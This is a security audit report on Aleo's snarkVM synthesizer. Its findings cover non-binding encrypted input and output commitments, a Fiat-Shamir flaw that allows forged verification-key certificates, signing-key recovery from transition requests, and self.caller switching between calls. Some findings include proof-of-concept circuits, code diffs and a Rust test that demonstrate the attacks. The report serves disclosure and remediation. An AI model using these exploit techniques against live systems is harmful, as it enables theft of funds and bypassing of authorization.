Audit of Aleo's synthesizer
October 2nd, 2023

Description. When calling another Aleo function, the inputs in the caller's circuit need to be "transferred across" circuits into the callee circuit. This "gluing together" of the two circuits is achieved using the commit-and-prove technique, at a high-level:

1. The caller commits to the arguments and exposes the commitments as public inputs.
2. The callee commits to the arguments and exposes the commitments as public inputs.
3. The verifier (network):
   • Checks both proofs
   • Ensures that the exposed commitments match.

In snarkVM this is implemented as follows:

1. The caller extracts the function arguments from the registers.
2. The caller computes (without constraints) the request that will be consumed by the callee.
3. The caller witnesses and exposes the input_ids of the request as public input. The same input_ids are exposed by the callee, with equality enforced by the verifier/network.
4. The caller witnesses values:
   • tvk -- the transaction view key
   • tcm -- the transaction commitment
   • caller -- the caller of the request
5. The caller constrains the input_ids to be commitments to the function arguments of the right type.

The issue pertains to the last step, in particular when the type of the argument is InputID::Private. In the case of InputID::Private the input_id is constrained as follows:

// A private input is encrypted (using `tvk`) and hashed to a field element.
InputID::Private(input_hash) => {
    // Prepare the index as a constant field element.
    let input_index = Field::constant(console::Field::from_u16(index as u16));
    // Compute the input view key as `Hash(function ID || tvk || index)`.
    let input_view_key = A::hash_psd4(&[function_id.clone(), tvk.clone(), input_index]);
    // Compute the ciphertext.
    let ciphertext = match &input {
        Value::Plaintext(plaintext) => plaintext.encrypt_symmetric(input_view_key),
        // Ensure the input is a plaintext.
        Value::Record(..) => A::halt("Expected a private plaintext input, found a record input"),
    };

    // Ensure the expected hash matches the computed hash.
    input_hash.is_equal(&A::hash_psd8(&ciphertext.to_fields()))
}

The above snippet does the following:

1. Generates an input_view_key (also abbreviated ivk) from the tvk (transition view key).
2. Encrypts the input using the input_view_key.
3. Hashes the resulting ciphertext ciphertext using the Poseidon hash function.
4. Constrains the digest to be equal to the input_hash (which is exposed as public input).

The encryption is achieved by generating a key-stream using Poseidon, then adding the key-stream to the plaintext using counter-mode over the scalar field. We illustrate the constraints created across both the caller and callee circuits for a single InputID::Private argument of length 1 in the diagram below:

The issue which leads to the vulnerability is that input_hash is not a binding commitment to input in the case of InputID::Private: to see this consider a malicious prover which chooses a different ivk on the caller side:

By choosing $\mathsf{input}' = \mathsf{ct} - \mathsf{pad}'$ the malicious prover ensures that both sides result in the same $\mathsf{input\_id}$, however the input on the caller's side is distinct from the input on the callee's side.

As expected the vulnerability leads to a loss of binding between arguments/inputs across call boundaries in the snarkVM. This is potentially catastrophic if e.g. the called function does some sort of input validation / authorization, since the caller can use a different input than is being passed and validated in the callee.

Recommendation. A possible mitigation is to use committing encryption: the ciphertext must form a binding commitment to the plaintext. We note that enforcing tcm = hash(tvk) and exposing tcm as public input on the caller's side will achieve this, since (commit(key), enc(key, pt)) is trivially (key) committing. In general, it should be ensured that the input_ids are binding commitments to the relevant inputs.

Description. When a private result is passed back from the callee to the caller, the result is fixed across the call-boundary via a commitment formed by encrypting the value and hashing the ciphertext. However the encryption employed is non-committing and hence the resulting commitment is not binding:

console::ValueType::Private(..) => {
    // Prepare the index as a constant field element.
    let output_index = Field::constant(console::Field::from_u16((num_inputs + index) as u16));
    // Compute the output view key as `Hash(function ID || tvk || index)`.
    let output_view_key = A::hash_psd4(&[function_id.clone(), tvk.clone(), output_index]);
    // Compute the ciphertext.
    let ciphertext = match &output {
        Value::Plaintext(plaintext) => plaintext.encrypt_symmetric(output_view_key),
        // Ensure the output is a plaintext.
        Value::Record(..) => A::halt("Expected a plaintext output, found a record output"),
    };
    // Return the output ID.
    OutputID::private(A::hash_psd8(&ciphertext.to_fields()))
}

This issue is analogous to the Non-Committing Encryption Used in InputID::Public issue but for the return values of function calls. We include it as a separate issue to make sure the correct mitigations are applied to both places in the code.

Recommendation. Follow the same recommendations as finding Non-Committing Encryption Used in OutputID::Public.

Description. When a new Aleo application is deployed the verification keys generated by the creator must be "certified": to ensure that the verification key corresponds to a correctly generated circuit with the prerequisite "authentication" logic. In order to do this, validators will run the Varuna/Marlin AHP indexer yielding an encoding for each of the (sparse) A, B, C matrices into row, col, row_col, row_col_val univariate polynomials. The verification key consists of Sonic-style KZG polynomial commitments to each of these polynomials.

The goal of the certificate is to ensure that the commitments are to the right polynomials, e.g. $c_{A,row} = \mathsf{KZG.Com}(A_\text{row})$.

A naive way to achieve this is to recompute the commitment: requiring a large MSM for each commitment in the verification key, which needs to be executed by every validator. The solution employed in Aleo is instead a protocol convincing the verifier that the commitments $C_1, \ldots, C_n$ are to the polynomials $f_1, \ldots, f_n$. It works as follows:

1. The verifier sends a challenge point $x$ and random coefficients $r_1, \ldots, r_n$.
2. The prover opens the commitment $C^* = \sum_{i} [r_i] \cdot C_i$ at $x$ to $y$.
3. The verifier checks $y = \sum_{i} r_i \cdot f_i(x)$.

The degree bound on the polynomial commitment and the Schwartz-Zippel lemma ensure equality between the $f_i$ polynomials given to the verifier and the polynomials extractable from the commitments $C_i$ except with probability $d / |\mathbb{F}|$.

The vulnerability is introduced in the compilation of this interactive protocol using Fiat-Shamir: the Fiat-Shamir heuristic requires that the challenges $x$, $r_1, \ldots, r_n$ be computed as a function of both the R1CS system (defining the polynomials $f_1, \ldots, f_n$) and the verification key (the commitments $C_1, \ldots, C_n$). However because of an oversight, the circuit_id (a Blake2 hash of the R1CS relations) is not absorbed into the sponge used for transcript hashing i.e. the challenges are computed as $x, r_1, \ldots, r_n \gets \mathsf{Hash}(C_1, \ldots, C_n)$. The code in question:

fn prove_vk(
    ...
) -> Result<Self::Certificate, SNARKError> {
    // Initialize sponge
    let mut sponge = 
        Self::init_sponge_for_certificate(fs_parameters, &verifying_key.circuit_commitments);
    let mut challenges = 
        sponge.squeeze_nonnative_field_elements(verifying_key.circuit_commitments.len());
    ...
}

This vulnerability enables an attacker to change the circuit after seeing the challenges, thereby generating a valid certificate for a verification key which does not correspond to the circuit provided to the network. The attack bypasses restrictions on the logic encoded in the verification key and can, for instance, be used to bypass the authentication logic for spending records or break binding of the BHP hash by changing the elliptic curve points in-circuit to ones with a known discrete log relation.

Reproduction steps. Our proof of concept works by observing that when the challenges $r_1, \ldots, r_n, x$ are fixed, the value $y$ is linearly determined by the polynomials $f_1, \ldots, f_n$, which in turn (because interpolation is linear), are linearly determined by the coefficients in the R1CS matrices. This allows us to use the Varuna indexer / certifier as a black-box: we will extract the linear system by just evaluating it at a number of positions (changing coefficients then recomputing $y$ for the new circuit). We use this to change two terms (so that they cancel) inside one of the R1CS matrices without changing $y$. In the simplified proof-of-concept we prove that a verification key corresponds to an unsatisfiable circuit, then create an accepting proof for the verification key. The "family" of circuits is the following one:

pub fn circuit_family<E: Environment>(c1: E::BaseField, c2: E::BaseField) {
    let one = console::types::Field::<E::Network>::one();

    // witness and its inverse (to ensure non-zero)
    let a: Field<E> = Field::new(Mode::Private, one);
    let ai: Field<E> = Field::new(Mode::Private, one);

    // constant
    let c1w = Field::new(Mode::Constant, console::types::Field::new(c1));
    let c2w = Field::new(Mode::Constant, console::types::Field::new(c2));

    // a * (ai) = 1
    E::enforce(|| {
        let wa: Field<E> = a.clone();
        let wai: Field<E> = ai;
        let one: Field<E> = Field::one();
        (wa, wai, one)
    });

    // a * 1 = c1 * a
    E::enforce(|| {
        let wa: Field<E> = a.clone();
        let wt: Field<E> = Field::one();
        (wa, wt, c1w * a.clone())
    });

    // a * c2 = c2 * a
    E::enforce(|| {
        let wa: Field<E> = a.clone();
        let wt: Field<E> = Field::one(); // linear combination c * a
        (wa, c2w.clone(), c2w * a.clone())
    });
}

Since a is forced to be non-zero, the circuit can be satisfied if and only if c1 = 1. The constants c1 and c2 will be the two C-matrix coefficients that we will modify undetected. The attack progresses as follows:

1. We generate a verification and proving key for the circuit circuit_family(1, 1) which is trivially satisfiable.
2. We then generate a valid certification for this verification key and the circuit circuit_family(1, 1).
3. Now recover the linear system:
   • Compute $y_{2,1}$, the evaluation corresponding to the circuit circuit_family(2, 1).
   • Compute $y_{1,2}$, the evaluation corresponding to the circuit circuit_family(1, 2).
   • Recover the c1 coefficient in the linear system as $\delta_1 = y_{2,1} - y$
   • Recover the c2 coefficient in the linear system as $\delta_2 = y_{1,2} - y$
4. We know at this point that $y = \delta_1 \cdot 1 + \delta_2 \cdot 1 + \texttt{cnst}$ for a constant $\texttt{cnst}$. We then solve $y = \delta_1 \cdot 2 + \delta_2 \cdot z + \texttt{cnst}$ for $z$; setting c1 = 2 and c2 = z in the circuit. The result is that the original certificate for circuit circuit_family(1, 1) is now valid for the circuit circuit_family(2, z), which should be unsatisfiable for any $z$.

Finally, note that the certification code checks that the circuit_id in the verification key matches that of the circuit circuit_family(2, z), however, this is under the attacker's control and we simply change the circuit_id in the malicious verification key (without changing the commitments). At this point an (honestly generated) proof of circuit_family(1, 1) will be accepted as a valid proof for circuit_family(2, z).

The full Proof-of-Concept attack is available here.

Note that the attack can be detected retrospectively by simply regenerating the verification key honestly from the circuit provided to the network and observing that it does not match the verification key provided by the attacker.

Recommendation. Include the circuit_id in the Fiat-Shamir transcript and ensure that circuit_id is computed correctly. The latter check is already present in the existing code.

Description. To execute a function on the Aleo network, a user breaks down the function call into a list of transitions, which forms the basis of an execution:

pub struct Execution<N: Network> {
    /// The transitions.
    transitions: IndexMap<N::TransitionID, Transition<N>>,
    /// The global state root.
    global_state_root: N::StateRoot,
    /// The proof.
    proof: Option<Proof<N>>,
}

Each transition in an execution is associated with a nested function call. As such, if the function called (let's call it main) ends up creating $n$ nested function calls, there will be $n+1$ transitions (the last one representing the final call to the root function main).

Each transition is associated to a synthesized circuit, and each circuit is associated with a proof (although all proofs end up being aggregated in a single proof at the end).

Each transition circuit starts by verifying a signed request that authenticates the intent of the user. The design of the signed requests allow a user to delegate the execution of a specific function to a third-party prover, without allowing the third party to execute any other functions.

As each transition has its own request, and each request is detached from the whole execution context (a request is not strongly tied to any other requests), a third-party prover can peel callers layer by layer by removing trailing requests when executing.

This would allow a third-party prover to deny the full execution of a functionality to a user, only executing a threshold of nested calls, and potentially preventing the outer logic from being executed. For example, if a function fn1 ends up calling fn2, the third-party prover can pretend that the user just wanted to call fn2.

One could think that any transactions could be tampered using the same technique, but the aggregation of all proofs make this too difficult in practice.

Reproduction steps. The issue can be reproduced by simply checking if removing one layer of request still leads to a successful execution. In synthesizer/src/vm/execute.rs, one can add the following modification:

pub fn execute<R: Rng + CryptoRng>(
    &self,
    private_key: &PrivateKey<N>,
    (program_id, function_name): (impl Clone + TryInto<ProgramID<N>>, impl Clone + TryInto<Identifier<N>>),
    inputs: impl ExactSizeIterator<Item = impl TryInto<Value<N>>>,
    fee_record: Option<Record<N, Plaintext<N>>>,
    priority_fee_in_microcredits: u64,
    query: Option<Query<N, C::BlockStorage>>,
    rng: &mut R,
) -> Result<Transaction<N>> {
    // Compute the authorization.
-     let authorization = self.authorize(private_key, program_id.clone(), function_name.clone(), inputs, rng)?;
+     let mut authorization = self.authorize(private_key, program_id.clone(), function_name.clone(), inputs, rng)?;

+     {
+         let program_id: ProgramID<_> = program_id.try_into().map_err(|_| anyhow!("Invalid program ID")).unwrap();
+         let function_name: Identifier<_> = function_name.try_into().map_err(|_| anyhow!("Invalid program ID")).unwrap();
+         if program_id.to_string() == "my_program.aleo" && function_name.to_string() == "my_function" {
+             authorization.pop_front();
+         }
+     };

with the additional implementation on Authorization:

impl<N: Network> Authorization<N> {
    pub fn pop_front(&mut self) -> Option<Request<N>> {
        self.requests.write().pop_front()
    }

Recommendation. A counter could be added to each transition circuit as a public input that the network would bump as they go through the verifications of transition proofs. That counter would have to be part of each request signature.

Description. Aleo uses signed transition requests to allow untrusted outsourcing of the costly zkSNARK computation: enabling a computationally-constrained client (e.g. a smartphone) to delegate the heavy lifting to a more powerful untrusted party (e.g. a server). This comes at the cost of privacy, since the untrusted party can observe all the values in records/private inputs. However, for security, the untrusted party should not learn the clients signing key e.g. enabling them to spend client funds. A request provided by the client to the untrusted party looks as follows:

#[derive(Clone, PartialEq, Eq)]
pub struct Request<N: Network> {
    /// The request signer.
    signer: Address<N>,
    /// The network ID.
    network_id: U16<N>,
    /// The program ID.
    program_id: ProgramID<N>,
    /// The function name.
    function_name: Identifier<N>,
    /// The input ID for the transition.
    input_ids: Vec<InputID<N>>,
    /// The function inputs.
    inputs: Vec<Value<N>>,
    /// The signature for the transition.
    signature: Signature<N>,
    /// The tag secret key.
    sk_tag: Field<N>,
    /// The transition view key.
    tvk: Field<N>,
    /// The transition secret key.
    tsk: Scalar<N>,
    /// The transition commitment.
    tcm: Field<N>,
}

The field of interest is the tsk (transition secret key). Which is computed as follows:

/// console/program/src/request/sign.rs:21
impl<N: Network> Request<N> {
    pub fn sign<R: Rng + CryptoRng>( ... ) {
        ...
        // Compute a `r` as `HashToScalar(sk_sig || nonce)`. 
        // Note: This is the transition secret key `tsk`.
        let r = N::hash_to_scalar_psd4(&[N::serial_number_domain(), sk_sig.to_field()?, nonce])?;
        ...
        let challenge = N::hash_to_scalar_psd8(&message)?;
        let response = r - challenge * sk_sig;

        Requests {
            ...
            tsk: r
            signature: Signature::from((challenge, response, compute_key))
        }
    }
}

The crucial observation is that the blinding factor of the Chaum-Pedersen proof r is used as the tsk (transition secret key), which enables the recovery of the sig_sk (signing key secret) from the signature and tsk as: $\mathsf{sk\_sig} = (\mathsf{tsk} - \mathsf{response}) \cdot \mathsf{challenge}^{-1}$. Since tsk is included in the request, the signing key can easily be recovered from the request: enabling the untrusted party provided with a request to potentially steal client funds.

Note that it is unclear to zkSecurity if this is an implementation or a design issue.

Recommendation. Avoid exposing the blinding factor r in the requests passed to untrusted zkSNARK provers.

Description. When used, the self.caller Aleo instruction is supposed to reflect the caller of a function. Aleo's documentation gives a bit more detail:

The self.caller command returns the address of the caller of the program. This can be useful for managing access control to a program.

It would thus be surprising if this value would change between function calls. Yet, it seems to be the case in the current implementation of the synthesizer.

To enforce the value of self.caller throughout a function, the synthesizer will generate a circuit associated to a function by first verifying a signed request. The signed request basically attest that some private key has produced a valid signature over the function execution.

If a function calls other functions, each function call will be synthesized as its own circuit and thus its own proof. Since each function call or circuit independently verifies their own signed request, it is possible to use a different request's private key (and thus self.caller) for each function call.

To see why this can be an issue, imagine the following example application where someone can vote for some option as long as they have not previously voted:

def vote(option):
    if isMember(self.caller) and other.check_can_vote() :
        reward(self.caller)
        votes[option] += 1

Such a program might seem benign if the other program's check_can_vote function accumulates voters by using the self.caller instruction in order to prevent double-voting. For example:

def check_can_vote():
    if self.caller not in voters:
        voters.append(self.caller)
        return True
    return False

But if the caller can be changed mid-execution, then the vote function can be used to double-vote by calling the other.check_can_vote function with a different self.caller than the one that called vote.

The issue does not seem to be limited to switching between a set of callers that an attacker owns. Imagine that an attacker is also a third-party prover that users can delegate their proofs to. If they want to execute a function that produces $n$ transitions, with $m < n$ leading transitions that they want to execute using a different self.caller that they know the private key of.

What they could do is wait for someone else to delegate such a function execution, then steal the interesting $m$ requests and append them to their own $n - m$ trailing requests to form a valid execution.

In theory one could try to steal transitions from observed function executions on the network, but the aggregation of proofs into a single proof makes this too difficult.

Reproduction steps. The issue can be reproduced by adding the following global at the top of the file synthesizer/process/src/stack/call/mod.rs:

type ZkTuple = (String, String, String, String);
use once_cell::sync::Lazy;
pub static ZKSEC: Lazy<std::sync::Mutex<ZkTuple>> =
    Lazy::new(|| std::sync::Mutex::new(("".to_string(), "".to_string(), "".to_string(), "".to_string())));

and then in the same file ensure that the different private key is used when using the desired program and function:

match registers.call_stack() {
    // If the circuit is in authorize or synthesize mode, then add any external calls to the stack.
    CallStack::Authorize(_, private_key, authorization)
    | CallStack::Synthesize(_, private_key, authorization) => {
+         let private_key = {
+             let zksec = ZKSEC.lock().unwrap();
+             if zksec.0 == substack.program_id().to_string() && zksec.1 == function.name().to_string() {
+                 console::account::PrivateKey::from_str(&zksec.3).unwrap()
+             } else {
+                 private_key
+             }
+         };

        // Compute the request.
        let request = Request::sign(
            &private_key,
            *substack.program_id(),
            *function.name(),
            inputs.iter(),
            &function.input_types(),
            rng,
        )?;

The following test can then be used to show that a public mapping can be modified using a different self.caller than the one that called the function:

#[test]
fn zksec_self_caller() {
    let rng = &mut TestRng::default();

    // Initialize a new caller.
    let caller_private_key = crate::vm::test_helpers::sample_genesis_private_key(rng);
    let caller_view_key = ViewKey::try_from(&caller_private_key).unwrap();
    let address = Address::try_from(&caller_private_key).unwrap();

    // init VM
    let genesis = crate::vm::test_helpers::sample_genesis_block(rng);
    let records =
        genesis.transitions().cloned().flat_map(Transition::into_records).take(3).collect::<IndexMap<_, _>>();
    let record_0 = records.values().next().unwrap().decrypt(&caller_view_key).unwrap();
    let record_1 = records.values().nth(1).unwrap().decrypt(&caller_view_key).unwrap();
    let record_2 = records.values().nth(2).unwrap().decrypt(&caller_view_key).unwrap();
    let vm = sample_vm();
    vm.add_next_block(&genesis).unwrap();

    // create two programs 
    let callee_program = Program::from_str(
        r"
program this_is_called.aleo;

mapping account:
key owner as address.public;
value microcredits as u64.public;

function update_caller:
input r0 as u64.private;
finalize self.caller r0;

finalize update_caller:
input r0 as address.public;
input r1 as u64.public;
set r1 into account[r0];
            ",
    )
    .unwrap();

    let caller_program = Program::from_str(
        r"
import this_is_called.aleo;

program this_is_the_caller.aleo;

function bar:
input r0 as u64.private;
call this_is_called.aleo/update_caller r0;
add 1u64 r0 into r1;
output r1 as u64.private;
",
    )
    .unwrap();

    // deploy both programs
    let deployment = vm.deploy(&caller_private_key, &callee_program, Some(record_0), 0, None, rng).unwrap();
    vm.add_next_block(&sample_next_block(&vm, &caller_private_key, &[deployment], rng).unwrap()).unwrap();

    let deployment = vm.deploy(&caller_private_key, &caller_program, Some(record_1), 0, None, rng).unwrap();
    vm.add_next_block(&sample_next_block(&vm, &caller_private_key, &[deployment], rng).unwrap()).unwrap();

    // setup the attack using a random address
    let rand_private_key = PrivateKey::<Testnet3>::new(rng).unwrap();
    let rand_address = Address::try_from(rand_private_key).unwrap();

    {
        let zksec = &mut process::ZKSEC.lock().unwrap();
        zksec.0 = "this_is_called.aleo".to_string();
        zksec.1 = "update_caller".to_string();
        zksec.2 = rand_address.to_string();
        zksec.3 = rand_private_key.to_string();
    }

    // Execute the programs with the private key
    let inputs = [Value::<Testnet3>::from_str("10u64").unwrap()];
    let execution = vm
        .execute(
            &caller_private_key,
            ("this_is_the_caller.aleo", "bar"),
            inputs.into_iter(),
            Some(record_2),
            1,
            None,
            rng,
        )
        .unwrap();
    vm.add_next_block(&sample_next_block(&vm, &caller_private_key, &[execution], rng).unwrap()).unwrap();

    // print out the updated mapping
    let program_id = ProgramID::from_str("this_is_called.aleo").unwrap();
    let mapping_name = Identifier::from_str("account").unwrap();

    {
        let key = Plaintext::from(Literal::Address(rand_address));
        let val = vm.finalize_store().get_value_speculative(&program_id, &mapping_name, &key).unwrap();
        println!("this_is_called.aleo/account[rand_address] = {val1:?}");
    }

    {
        let key = Plaintext::from(Literal::Address(address));
        let val = vm.finalize_store().get_value_speculative(&program_id, &key).unwrap();
        println!("this_is_called.aleo/account[caller] = {val:?}");
    }
}

If you execute the test, you can see that the updated mapping was the one of the random address we inserted mid-transition, and not the one of the function caller:

this_is_called.aleo/account[rand_address] = Some(10u64)
this_is_called.aleo/account[caller] = None

Recommendation. Either it should be pointed out that self.caller is not fixed between transitions, or it should be fixed.

One way to fix the issue is to expose as public input a hiding and binding commitment to the caller's address in each transition, and let the verifier ensure that they all match. Thus, each request would be forced to use the same private key and address.

Description. In the Varuna verifier the length of a number of vectors in the Proof struct is not explicitly checked during verify_batch. For instance the Evaluations struct which is part of the Proof struct is defined as:

#[derive(Clone, Debug, PartialEq, Eq)]
pub struct Evaluations<F: PrimeField> {
    /// Evaluation of `g_1` at `beta`.
    pub g_1_eval: F,
    /// Evaluation of `g_a_i`'s at `beta`.
    pub g_a_evals: Vec<F>,
    /// Evaluation of `g_b_i`'s at `gamma`.
    pub g_b_evals: Vec<F>,
    /// Evaluation of `g_c_i`'s at `gamma`.
    pub g_c_evals: Vec<F>,
}

Which is hashed by concatenating the vectors:

fn verify_batch<B: Borrow<Self::VerifierInput>>( ... ) {
    ...
    sponge.absorb_nonnative_field_elements(proof.evaluations.to_field_elements());
    ...
}

impl<F: PrimeField> Evaluations<F> {
    pub fn to_field_elements(&self) -> Vec<F> {
        let mut result = vec![self.g_1_eval];
        result.extend_from_slice(&self.g_a_evals);
        result.extend_from_slice(&self.g_b_evals);
        result.extend_from_slice(&self.g_c_evals);
        result
    }
}

Which is only unambiguous if the length of all three vectors is forced to be the same. The evaluations are then subsequently retrieved from the transcript by retrieving the first $n$ elements of the vector where $n$ is the number of circuits in the batch:

fn verify_batch<B: Borrow<Self::VerifierInput>>( ... ) {
    ...
    let eval = proof
        .evaluations
        .get(circuit_index as usize, &label)
        .ok_or_else(|| AHPError::MissingEval(label.clone()))?;
    evaluations.insert((label, q), eval);
    ...
}

impl<F: PrimeField> Evaluations<F> {
    pub(crate) fn get(&self, circuit_index: usize, label: &str) -> Option<F> {
        if label == "g_1" {
            return Some(self.g_1_eval);
        }

        if label.contains("g_a") {
            self.g_a_evals.get(circuit_index).copied()
        } else if label.contains("g_b") {
            self.g_b_evals.get(circuit_index).copied()
        } else if label.contains("g_c") {
            self.g_c_evals.get(circuit_index).copied()
        } else {
            None
        }
    }
}

However, suppose $n = 3$ and a malicious prover provides a Proof struct with $4$ evaluations, then the transcript for the following two Evaluations structs are identical. But this will cause the verifier to retrieve different evaluation points: meaning the prover can adapt the evaluation points after seeing the challenge.

Evaluations {
    g_1_eval: 0,
    g_a_evals: [1, 2, 3, 4]
    g_b_evals: [5, 6, 7, 8]
    g_c_evals: [9, 10, 11, 12]
}

Evaluations {
    g_1_eval: 0,
    g_a_evals: [1, 2, 3]
    g_b_evals: [4, 5, 6]
    g_c_evals: [7, 8, 9, 10, 11, 12]
}

The code in its current use is not vulnerable: the potential vulnerability is mitigated in the CanonicalSerialize implementation for Proof: which will only deserialize vectors of equal length. However in the future if the serialization code changes or the user assumes it is safe to pass in any Proof struct to the verifier code, this could introduce a vulnerability. It is not clear to us if an attacker has enough degrees of freedom to find an accepting transcript, however the ambiguity in the encoding violates the Fiat-Shamir heuristic. Concrete exploitation is therefore contingent and hypothetical.

Recommendation. We recommend adding explicit length checks to all the vectors in the Proof (as is currently done for the public input) to avoid accidentally introducing vulnerabilities in the future if the serialization code changes, since the serialization/deserialization code might erroneously be considered security non-critical.

Description. When verifying a Merkle tree inclusion proof in-circuit, the leaf_index (an Integer<E, 64>) is decomposed and the first $\mathsf{depth}$ least significant bits are used as indicator bits for the path:

// Compute the ordering of the current hash and sibling hash on each level.
// If the indicator bit is `true`, then the ordering is (current_hash, sibling_hash).
// If the indicator bit is `false`, then the ordering is (sibling_hash, current_hash).
let indicators = self.leaf_index.to_bits_le().into_iter().take(DEPTH as usize).map(|b| !b);

This implicitly reduces leaf_index modulo $2^{\mathsf{depth}}$. As a result the index of the leaf is not unique: a malicious prover can prove that the leaf at index $i$ is also at every index $i + c \cdot 2^{\mathsf{depth}}$. The sanity check:

// Ensure the leaf index is within the tree depth.
if (*self.leaf_index.eject_value() as u128) >= (1u128 << DEPTH) {
    E::halt("Found an out of bounds Merkle leaf index")
}

Is executed out-of-circuit and does not catch this issue.

Note that we have not uncovered any problematic logic in the circuit related to this finding, but cautions that future code should not assume that each leaf uniquely identifies its index in the Merkle tree.

Recommendation. witness the indicator bits directly and construct the index from the indicator bits: $\mathsf{leaf\_index} = \sum_{i = 0}^{\mathsf{depth}} b_i \cdot 2^i$ -- which ensures that the index is unique.